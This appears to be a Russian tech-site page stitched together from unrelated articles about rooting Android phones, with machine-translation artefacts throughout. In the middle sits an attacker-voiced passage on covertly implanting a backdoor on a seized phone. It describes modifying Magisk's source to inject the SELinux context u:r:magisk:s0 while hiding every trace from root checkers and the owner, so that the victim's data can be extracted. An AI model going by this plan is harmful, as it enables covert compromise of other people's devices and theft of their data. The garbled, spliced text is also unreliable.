Откройте больше функций, которые ранее были недоступны в пользовательском интерфейсе по умолчанию

Поскольку разработчики должны разрабатывать пользовательский интерфейс с учетом общей пользовательской базы, они не могут удовлетворить предпочтения каждого человека. Однако, когда задействован рут, независимые создатели могут добавить в пользовательский интерфейс все мыслимые функции, которые конечный потребитель может настроить и использовать соответствующим образом.

Возможно пониженное напряжение ЦП и увеличение заряда батареи. life

Многие современные пользовательские ПЗУ предоставляют возможность настроить тактовую частоту ядра ЦП, чтобы соответствующим образом оптимизировать время автономной работы. Например, если требуется увеличить его на несколько часов в режиме ожидания, пользователи могут снизить мощность ЦП на несколько процентов и посмотреть, соответствует ли срок службы батареи желаемому.

Укоренение открывает совершенно новый уровень настройки

Когда пользователи iPhone переходят на Android, они понимают, что предлагаемый уровень настройки — это то, чего они никогда не видели. Точно так же рутирование телефона Android делает пользовательский интерфейс устройства по умолчанию просто верхушкой айсберга.

Становятся доступными такие функции, как общесистемные цвета, форма каждого значка, формы быстрых значков и бесчисленные типы шрифтов.

Вредоносные программы можно удалить, а обновления перейдут под полный контроль

Китайские OEM-производители и даже Samsung печально известны тем, что включают множество ненужных приложений, которые просто занимают место на диске. Прошивая пользовательское ПЗУ через root-доступ, эти ненужные приложения можно удалить. Некоторые из них не могут быть удалены традиционными способами, поэтому для их окончательного удаления требуется root-доступ.

Если у вас нет Pixel, обновления Day One невозможны ни на одном другом устройстве Android. Корневой доступ позволяет использовать пользовательские ПЗУ, которые можно обновлять, как только будут выпущены соответствующие обновления. Однако использование пользовательских ПЗУ необязательно.

Срок службы устройства можно значительно увеличить

Причина, по которой мы выбрасываем наши телефоны, заключается не в том, что процессор и оперативная память внезапно перестали работать, а просто в том, что мы перестаем получать соответствующие обновления. Людям также надоедает использовать один и тот же пользовательский интерфейс для своих устройств. OEM-производители перестают поддерживать свои старые устройства через несколько лет. Все эти факторы приводят к тому, что устройству, вероятно, осталось еще несколько лет жизни.

С пользовательскими ПЗУ, к которым можно получить доступ с помощью рута, можно установить последнюю и лучшую версию ОС на свой, скажем, пятилетний -старый Android-телефон. С заменой батареи устройство тоже может стать как новое.

Преимущества и недостатки смартфонов с Root

Смартфоны с Root «из коробки» — полная свобода с заводскими настройками

Устройства с Root — достаточно специфичная вещь, что поначалу может оказаться неочевидным, но факт есть факт: при покупке такого устройства просто необходимо взвесить все плюсы и минусы подобного продукта. Для вас мы их специально упорядочили в виде списка.

  1. Root без хлопот. Очевидно, это главный плюс в «копилке» подобных аппаратов. Никаких модов, патчей или сторонних вмешательств — всё сделано за вас и не требует никаких особых усилий.
  2. Гарантия остаётся в исходном виде. Обычно, к устройствам при покупке прилагается гарантия, по которой вы сможете заменить или починить неисправный экземпляр. Установка модификаций в систему лишает вас гарантии, но в устройствах с заводским Root этой проблемы не существует, если, конечно, вам предоставят гарантию 🙂
  3. Двери в систему открыты. Root установлен, нечего ждать — вы можете заняться чем угодно и как угодно, например, поудалять предустановленные приложения или установить Xposed Framework — вам ничего не мешает. Но голову тоже терять не стоит, ведь одно неправильное движение — и ваш смартфон по функционалу не отличить от обычного кирпича.
  1. Псевдобезопасность. Если вы умеете трезво оценивать происходящее и следить за происходящим в смартфоне, то вам ничего не угрожает. Однако неознакомленный пользователь можете запросто схватить пару-тройку «троянов».
  2. Что-то может не работать. Многие приложения, требующие полной безопасности, например, «Сбербанк Онлайн» или «QIWI Visa Wallet» могут попросту не заработать на вашем смартфоне или планшете. Почему? Ответ прост: Root — не только полезная модификация системы Android, но и ключ к уязвимостям.

Внедряемся в систему без установленных root-прав

Первое приходит на ум мысль о том, что мы можем просто взять устройство с которого хотим извлечь данные, прошить в него magisk используя TWRP, а затем, сразу же следом прошить наш бэкдор. Технически это сработает, т.к. вместе с magisk установятся и его политики SELinux, благодаря которым он сможет работать, но в этом случае, пользователь сразу же поймёт, что что-то не так. Он не устанавливал magisk, а magisk на устройстве есть. Значит, в то время как устройство было изъято злоумышленником, он что-то в него прошивал. Пользователь не сможет заметить этого до того как введёт код разблокировки, однако проблема в том что во время разблокировки интернет на устройстве пользователя может быть выключен, мы не получим удалённый доступ, а пользователь, обнаружив то что в его устройство пытались что-то прошить может удалить необходимую информацию, удалить magisk, начать разбираться что не так, обнаружить бэкдор, или просто сбросить телефон до заводских настроек вследствие чего интересующие нас данные будут уничтожены. Если на устройстве пользователя стоит какое-либо антивирусное решение, то оно может поднять тревогу, если обнаружит что в системе появились root-права полученные через magisk. 

Нам нужно постараться любой ценой избежать обнаружения, поскольку от этого зависит получится у нас изъять данные или нет. По сути, нам, в общем-то, не нужны root-права в обычном понимании, нам не нужен терминал с uid=0 для того, чтобы вводить какие-то команды. Нам не нужен исполняемый файл su, т.к. uid=0 мы можем получить и от процесса init. Нам не нужны и сторонние инструменты, которые поставляются с magisk. Нам не нужно приложение MagiskManager. Всё что нас интересует – это контекст u:r:magisk:s0. Получим контекст – получим удалённый доступ. 

Нам не только не нужно всё вышеперечисленное, нам очень желательно ничего из этого не устанавливать, т.к. это – маркеры компрометации. Если пользователь запустит какую-нибудь популярную проверку на root, то она нас обнаружит, это же может случиться и в одном из приложений, установленных на его устройстве, оно обнаружит что на телефоне установлены root-права и уведомит пользователя об этом. 

Обнаружить root-права на устройстве, в частности magisk, можно по-разному. Можно банально проверить наличие установленного менеджера в системе или попытаться найти испоняемый файл su или magisk (magisk создаёт символическую ссылку su которая на самом деле указывает на исполняемый файл magisk)

Интересный факт: начиная с android 10 в системе появилась служба APEX отвечающая за более простой подход к доставке обновлений системных компонентов. Её идея в том, чтобы добавить в android возможность выборочно доставлять обновления частей системы: добавлять новые и заменять существующие системные библиотеки и части android фреймворка, и главное делать это небольшими пакетами, без необходимости загружать и устанавливать полные образы всех разделов целиком. Более того всё это ложится в стандартную модель управления пакетами в android. То есть идея в том, что это нечто вроде apk, но не для приложений, а для самой ОС. Это критически важно для безопасности, например для того, чтобы в случае обнаружения какой-нибудь новой серьёзной уязвимости в системной библиотеке, как это например случалось с libstagefright когда 95% устройств на рынке были подвержены уязвимости, а обновления до многих устройств шли долгие месяцы, Google мог в течение нескольких часов доставить обновление с заплаткой на 100% устройств которые поддерживают apex. Иронично то, что этот механизм ну очень сильно похож по принципу действия на работу модулей magisk, и на то, как они монтируются поверх системы через зеркала. Я могу только предполагать это, но не исключено, что ребята, которые игрались с безопасностью android устройств и «хакали» их по фану, вдохновили своими подходами системных разработчиков android, которые построили на этом систему обновлений, которая сделает каждое из наших устройств неприступнее для злоумышленников. По-моему, это прекрасно. 

Дополнительно:  Кто может стать root

Возвращаясь к magisk, особенностью такого подхода является то, что magisk создаёт множество лишних точек монтирования, особенно если установлено много magisk-модулей.

$ cat /proc/mounts | grep magisk                                                                                             
/sbin/.magisk/block/system /sbin/.magisk/mirror/system ext4 ro,seclabel,relatime,block_validity,discard,delalloc,barrier,user_xattr 0 0
/sbin/.magisk/block/vendor /sbin/.magisk/mirror/vendor ext4 ro,seclabel,relatime,block_validity,discard,delalloc,barrier,user_xattr 0 0
/sbin/.magisk/block/data /sbin/.magisk/mirror/data ext4 rw,seclabel,relatime,discard,noauto_da_alloc,data=ordered 0 0
/sbin/.magisk/block/data /sbin/.magisk/modules ext4 rw,seclabel,relatime,discard,noauto_da_alloc,data=ordered 0 0

Можно поискать в файловой системе файлы, содержащие в названии magisk, и обнаружить исполняемые файлы:

$ find / -name "magisk" 2>/dev/null
/sbin/magiskpolicy
/sbin/magiskhide
/sbin/magisk
/sbin/magiskinit
/sbin/.magisk

Ещё больше можно увидеть с root-правами:

$ su                                                                                                                         
# find / -name "*magisk*" 2>/dev/null
/storage/emulated/0/Android/data/com.topjohnwu.magisk
/storage/emulated/0/Android/media/com.topjohnwu.magisk
/sbin/magiskpolicy
/sbin/magiskhide
/sbin/magisk
/sbin/magiskinit
/sbin/.magisk
/sbin/.magisk/mirror/data/system/package_cache/1/com.topjohnwu.magisk-DkH9A9_cUz6YvCX-YbQs4Q==-0
/sbin/.magisk/mirror/data/system/graphicsstats/1612051200000/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/system/graphicsstats/1611964800000/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/misc/profiles/cur/0/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/misc/profiles/ref/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/user_de/0/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/magisk_backup_5063aa326352068974a1a161a798cd606e05dd12
/sbin/.magisk/mirror/data/app/com.topjohnwu.magisk-DkH9A9_cUz6YvCX-YbQs4Q==
/sbin/.magisk/mirror/data/data/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/adb/magisk.db
/sbin/.magisk/mirror/data/adb/magisk
/sbin/.magisk/mirror/data/adb/magisk/magiskinit64
/sbin/.magisk/mirror/data/adb/magisk/magiskboot
/sbin/.magisk/mirror/data/adb/magisk/magiskinit
/sbin/.magisk/mirror/data/media/0/Android/data/com.topjohnwu.magisk
/sbin/.magisk/mirror/data/media/0/Android/media/com.topjohnwu.magisk
/mnt/runtime/write/emulated/0/Android/data/com.topjohnwu.magisk
/mnt/runtime/write/emulated/0/Android/media/com.topjohnwu.magisk
/mnt/runtime/read/emulated/0/Android/data/com.topjohnwu.magisk
/mnt/runtime/read/emulated/0/Android/media/com.topjohnwu.magisk
/mnt/runtime/default/emulated/0/Android/data/com.topjohnwu.magisk
/mnt/runtime/default/emulated/0/Android/media/com.topjohnwu.magisk
/data/system/package_cache/1/com.topjohnwu.magisk-DkH9A9_cUz6YvCX-YbQs4Q==-0
/data/system/graphicsstats/1612051200000/com.topjohnwu.magisk
/data/system/graphicsstats/1611964800000/com.topjohnwu.magisk
/data/misc/profiles/cur/0/com.topjohnwu.magisk
/data/misc/profiles/ref/com.topjohnwu.magisk
/data/user_de/0/com.topjohnwu.magisk
/data/magisk_backup_5063aa326352068974a1a161a798cd606e05dd12
/data/app/com.topjohnwu.magisk-DkH9A9_cUz6YvCX-YbQs4Q==
/data/data/com.topjohnwu.magisk
/data/adb/magisk.db
/data/adb/magisk
/data/adb/magisk/magiskinit64
/data/adb/magisk/magiskboot
/data/adb/magisk/magiskinit
/data/media/0/Android/data/com.topjohnwu.magisk
/data/media/0/Android/media/com.topjohnwu.magisk
/config/sdcardfs/com.topjohnwu.magisk
/cache/magisk.log

Ещё magisk добавляет права на запись в некоторые места файловой системы, где этих прав явно быть не должно, и некоторые приложения для обнаружения root-прав обнаруживают его из-за этого.

Вообще-то, magisk очень хорошо умеет прятаться от других процессов с помощью сервиса MagiskHide, который умеет прятать все точки монтирования и даже заменять некоторые свойства в системе, однако от человека, который будет исследовать файловую систему устройства, особенно до загрузки системы, спрятаться не получится. Поэтому технически подкованный пользователь быстро обнаружит наличие magisk на своём устройстве. Для наших целей это не подходит, т.к. если мы будем обнаружены, данные будет не извлечь.

Это значит, что вместо грубой установки magisk нужно поступить красиво – необходимо разобраться с тем, как именно он закрепляется в системе и как заставляет init загрузить ненастоящие политики SELinux.

План таков: мы возьмём исходники magisk и соберём из них инструмент, который будет внедрять в систему всемогущий контекст u:r:magisk:s0, но больше не будет делать ничего. То есть наша задача сводится к тому, чтобы вместо magisk установить на устройство только политики magisk.

Для начала нам нужно понять как именно magisk внедряется в систему. Суть установки magisk в следующем:

  • Установщик находит среди разделов на диске раздел boot

  • Дампит раздел boot через nanddump в файл-образ и распаковывает его 

  • Извлекает из него образ ramdisk

  • Заменяет в образе ramdisk оригинальный исполняемый файл init на свой, заранее подготовленный – magiskinit

  • Складывает оригинальный ramdisk с оригинальным init в бэкап который ложится рядом

  • Если необходимо применяет дополнительные патчи, которые зависят от устройств и версии android

  • Запаковывает образ boot раздела и прошивает его на место оригинального boot

  • Бэкапит оригинальный boot раздел в /data

По окончанию мы получаем раздел boot, в котором во время запуска системы, между тем как ядро вызывает запуск процесса init и реальным запуском процесса init появляется окно, в котором magisk подготавливает всё необходимое для своей работы во время уже запущенной системы. 

Если очень грубо, то работает это так: magiskinit запускается, находит файл с политиками, патчит его добавляя в него политики необходимые для работы magisk после запуска системы, добавляет в init.rc записи которые запустят сервис magiskd во время загрузки системы после чего запускает оригинальный init, который загружает уже пропатченные политики вместо оригинальных, а далее загрузка происходит привычным образом. На деле, в этом процессе есть огромное множество нюансов.

Во-первых, ramdisk у нас доступен только на чтение. Мы не можем взять и переписать boot раздел по своему желанию, и применить изменения на постоянной основе, поэтому все манипуляции над файлами выполняются в ОЗУ, заново, при каждом запуске системы. 

Во-вторых, начиная с android 9, и далее в 10 и 11 очень сильно менялся подход к организации файловой системы во время работы устройства, организации хранения файла с политиками и вообще самого процесса запуска.

До android 9 скомпилированные политики SELinux всегда упаковывались в boot раздел и лежали прямо рядом с ядром, затем появился механизм split-policy, когда для каждого из основных разделов (system, vendor, иногда бывает ещё product), политики компилируются и хранятся отдельно. 

Для magiskinit это значит то, что при запуске ему нужно смонтировать все эти разделы, собрать оттуда отдельные файлы с политиками, распарсить, упаковать и сложить в единый файл, найти ему место в файловой системе (которое тоже зависит от многих факторов и версии android), после чего брутально пропатчить прямо в бинарном виде исполняемый файл init – найти место где в условной конструкции выбирается тип политики, принудительно заменить его со split-policy на mono-policy и заменить путь к файлу с политиками на тот что был получен в предыдущем шаге.

Бинарного файла init, пригодного для модификации может и не быть, потому что на некоторых устройствах есть 2SI – two-stage-init или двухэтапный запуск init. Это подход, в котором исходный init файл из ramdisk не запускает систему, вместо этого он монтирует раздел с системой и уже из него запускает /system/bin/init. В этом случае magiskinit придётся не менее брутально прямо в бинарном виде патчить libselinux в системном разделе.

А есть ещё в android подход system-as-root, который обязателен для сборок android 10+. От него зависит что именно будет корнем файловой системы ramdisk или system. И оба этих случая magiskinit обязан учитывать. А ещё в некоторых условиях на некоторых устройствах ramdisk может вообще отсутствовать.

Если интересно узнать подробнее, то разработчик magisk очень хорошо и доступно описал как устроены все эти хитросплетения с запуском init. Я полагаю, что для разработчиков magisk это чистая боль, если раньше процесс загрузки был достаточно единообразным и бесхитростным, то теперь разработчики magisk тратят огромные усилия чтобы подстраиваться под это, а учитывая темп выхода новых версий android, делать это очень непросто.

Тем не менее, для нашей задачи внутреннее устройство magiskinit интересует нас только для того, чтобы понять, как именно внедрить нужные нам изменения в скомпилированные политики и отбросить всё остальное. 

В исходниках нас будут интересовать в основном только файлы из директории init. Вкратце, список изменений которые были внесены в код:

  • В методе main() в init.cpp удаляем вызовы методов dumpmagisk() и dumpmanager().

  • В init.hpp обратим внимание на вызовы execinit() – это вызовы оригинального init. Перед ними во всех случаях кроме FirstStageInit добавим rmrf(«/.backup») чтобы скрыть соответствующую директорию, которая будет торчать в файловой системе работающего устройства. В FirstStageInit этого делать не нужно, т.к. этот вызов всё равно будет совершён во время второй стадии init.

  • В mount.cpp нас будет интересовать метод setuptmp() который отвечает за создание tmpfs в файловой системе где будут храниться линки на исполняемые файлы magisk. Обычно в файловой системе это директория /sbin. Мы можем полностью удалить этот вызов для RootFSInit, т.к. моно-файл с политиками SELinux в этом случае находится прямо в ramdisk, и патчится прямо там же, но в андроид 10 и выше с приходом механизма split-policy именно туда в единый файл будут складываться собранные из всех разделов политики, поэтому нам, похоже, обязательно придётся её оставить, но мы можем вынести её в /dev. Начиная с android 11 этот подход становится в magisk основным, т.к. с android 11 наличие директории /sbin в файловой системе не гарантируется. Меняем режим tmpfs с 755 на 700 чтобы содержимое не мог посмотреть непривилегированный пользователь и не сработали root-чекеры которые проверяют наличие доступа на запись в подозрительных местах. Удаляем создание файлов и линков magisk в tmpdir. У меня не получилось полностью избавиться от tmpdir в android 10+ и сохранить работоспособность системы, но оно вроде бы и не проблема. Прочитать tmpfs без рута не получится, а название служебной директории можно поменять с .magisk на любое случайное.

  • В rootdir.cpp удаляем код который патчит init.rc для запуска демона magisk в системе 

На выходе получаем нечто, что можно назвать magisk без magisk. Он будет патчить политики SELinux до запуска init, подкладывая туда всемогущий контекст u:r:magisk:s0, но на этом всё – никакого функционала root-прав и всего такого прочего.

Теперь можно начинать.

Работаем с Baidu Super Root

Данный софт позволит вам приобрести ROOT-доступ. Это её плюс. Но, этот софт имеет и свой минус. Программу не легко удалить обычным способом. Кроме этого, неизвестно, помогут вам дополнительные программы, или нет?

Вам нужно удалить Baidu Root и заодно оРут-доступ? В этом случае вам необходимо перепрошить телефон используя рекавери и заодно ROOT-доступ пропадёт.

Если у вас недостаёт технических знаний и вы боитесь потерять нужные данные, в этом случае вам не стоит загружать сложные программы.

Для чего его используют

Root-доступ открывает широкие возможности для тонкой настройки системы. В первую очередь, он позволяет заняться такими вещами, как удаление предустановленных приложений, создание полных резервных копий, управление частотой процессора, установка сторонних модулей для изменения внешнего вида или для внедрения нового функционала.

Изменение дизайна системы

Простыми словами: что такое Root и зачем он нужен

Одна из интереснейших вещей, которая открывается с рутом, — возможность полностью поменять дизайн системы. Причём речь идёт не о лаунчерах, которые доступны даже на обычных устройствах. В распоряжении оказываются строки навигации (полоска жестов или кнопки «Назад», «Домой»), панели уведомлений, системные иконки, цветовые схемы, шрифты и другие элементы интерфейса.

Настройка компонентов устройства

Для любителей полностью настраивать гаджеты под себя существует возможность самостоятельно менять частоты процессора или видеоускорителя в смартфоне, продлевая тем самым автономность или увеличивая производительность. Кроме того, существует программное обеспечение, позволяющее экономить ценные проценты батареи за счёт перевода в спящий режим различных фоновых процессов и сервисов, которые запускаются автоматически.

Полное контролирование разрешений игр и программ

Простыми словами: что такое Root и зачем он нужен

Благодаря Root можно максимально гибко управлять разрешениями конкретных приложений, что позволит обеспечить безопасность своего устройства. Это может пригодиться для того, чтобы определённая программа не могла использовать интернет для загрузки рекламы, или для того, чтобы приложения не имели доступ к сообщениям и камере.

Удаление «неудаляемых» приложений

Ещё одна полезная возможность, которая открывается с получением Root-прав, — удаление предустановленного программного обеспечения. Многие производители ставят на свои смартфоны различные приложения, которые не всегда нужны пользователю, но при этом забивают память, и при этом их нельзя удалить. С Root-доступом эта проблема исчезает, поскольку права суперпользователя позволяют удалить абсолютно любую предустановленную игру или программу.

Создание полноценных резервных копий

При постоянных экспериментах с прошивками или просто для собственного спокойствия пригодятся программы для создания полноценных бэкапов (резервных копий). Они умеют быстро создавать резервную копию с пользовательскими приложениями, информацией из них, а также личными данными вроде контактов, телефонной книги, файлов или аккаунтов. Эти программы легко справляются с переносом текущего состояния устройства при переходе с одной прошивки на другую.

И это далеко не всë!

На самом деле смартфонов и планшетов с Root-доступом достаточно много, не смотря на то, что тенденция встраивать подобные утилиты в продукт сходит на нет, к тому же сложно найти производителя, который в открытую будет это афишировать.

Стоит ли брать смартфон с Root-доступом? Это исключительно ваше решение, ведь существует множество проблем, связанных с использованием подобных утилит. Если вы боитесь брать подобное устройство, но всë же втайне мечтаете о подобном девайсе — рассмотрите смартфоны с открытым загрузчиком, о которых мы обязательно вам расскажем в следующих статьях.

  • Xiaomi вспомнила, как делать дешёвые смартфоны. Тестирую самый доступный Redmi
  • Хорошие телефоны до 10 000 рублей существуют. Вот 5 лучших на сейчас, прямо радуют
  • Антивор, история уведомлений и ещё 7 полезных функций Android, спрятанных глубоко в настройках
  • На что способен Xiaomi за 4 990 рублей — тестирую самый дешёвый, но удивляющий смартфон
  • Чуть ли не единственный компактный флагман — и он хорош. Тестирую необычный ASUS
Оцените статью
Master Hi-technology
Добавить комментарий